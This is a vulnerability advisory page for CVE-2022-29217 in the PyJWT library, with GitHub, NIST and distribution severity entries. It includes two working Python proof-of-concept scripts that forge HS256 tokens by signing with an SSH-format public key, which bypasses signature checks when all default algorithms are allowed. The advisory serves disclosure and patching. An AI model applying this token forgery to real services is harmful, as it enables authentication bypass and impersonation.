CVE-2022-29217

ADVISORY - github

Summary

Impact

What kind of vulnerability is it? Who is impacted?

Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).

PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm.

The PyJWT library requires that the application chooses what algorithms are supported. The application can specify "jwt.algorithms.get_default_algorithms()" to get support for all algorithms. They can also specify a single one of them (which is the usual use case if calling jwt.decode directly. However, if calling jwt.decode in a helper function, all algorithms might be enabled.)

For example, if the user chooses "none" algorithm and the JWT checker supports that, there will be no signature checking. This is a common security issue with some JWT implementations.

PyJWT combats this by requiring that the if the "none" algorithm is used, the key has to be empty. As the key is given by the application running the checker, attacker cannot force "none" cipher to be used.

Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with "ssh-rsa". If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify.

From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with "ssh-", for example "ssh-ed25519".

import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519

# Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()

# Get private key bytes as they would be stored in a file
priv_key_bytes = 
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, 
encryption_algorithm=serialization.NoEncryption())

# Get public key bytes as they would be stored in a file
pub_key_bytes = 
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)

# Making a good jwt token that should work by signing it with the 
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")

# Using HMAC with the public key to trick the receiver to think that the 
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")

# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
     print("POC Successfull")

# Of course the receiver should specify ed25519 algorithm to be used if 
they specify ed25519 public key. However, if other algorithms are used, 
the POC does not work
# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#
#        invalid_strings = [
#            b"-----BEGIN PUBLIC KEY-----",
#            b"-----BEGIN CERTIFICATE-----",
#            b"-----BEGIN RSA PUBLIC KEY-----",
#            b"ssh-rsa",
#        ]
#
# However, OKPAlgorithm (ed25519) accepts the following in 
jwt/algorithms.py:
#
#                if "-----BEGIN PUBLIC" in str_key:
#                    return load_pem_public_key(key)
#                if "-----BEGIN PRIVATE" in str_key:
#                    return load_pem_private_key(key, password=None)
#                if str_key[0:4] == "ssh-":
#                    return load_ssh_public_key(key)
#
# These should most likely made to match each other to prevent this behavior
import jwt

#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem
#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem
#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub

priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49
AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk
Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END EC PRIVATE KEY-----"""

pub_key_bytes = b"""-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL
Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END PUBLIC KEY-----"""

ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""

# Making a good jwt token that should work by signing it with the private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256")

# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256")

# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
    print("POC Successfull")
else:
    print("POC Failed")

The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. However, with quick googling, this seems to be used in some cases at least in some minor projects.

Patches

Users should upgrade to v2.4.0.

Workarounds

Always be explicit with the algorithms that are accepted and expected when decoding.

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory:

EPSS Score: 0.004 (0.600)

Common Weakness Enumeration (CWE)

ADVISORY - nist

Use of a Broken or Risky Cryptographic Algorithm

ADVISORY - github

Use of a Broken or Risky Cryptographic Algorithm

ADVISORY - gitlab

OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Use of a Broken or Risky Cryptographic Algorithm

OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities

ADVISORY - redhat

Use of a Broken or Risky Cryptographic Algorithm


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

2.2

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

7.4high
PackageTypeOS NameOS VersionAffected RangesFix Versions
pyjwtpypi-->=1.5.0,<2.4.02.4.0

CVSS:3 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).

A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

The vulnerable system can be exploited without interaction from any user.

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

There is no impact to availability within the impacted component.

NIST

CREATED

UPDATED

EXPLOITABILITY SCORE

2.2

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

7.4high

Alpine

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Debian

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-

CVSS SCORE

N/Alow

Ubuntu

CREATED

UPDATED

EXPLOITABILITY SCORE

3.9

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-

CVSS SCORE

7.5medium

Amazon

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-

CVSS SCORE

N/Amedium

Amazon

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-

CVSS SCORE

N/Amedium

Red Hat

CREATED

UPDATED

EXPLOITABILITY SCORE

3.9

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

7.5medium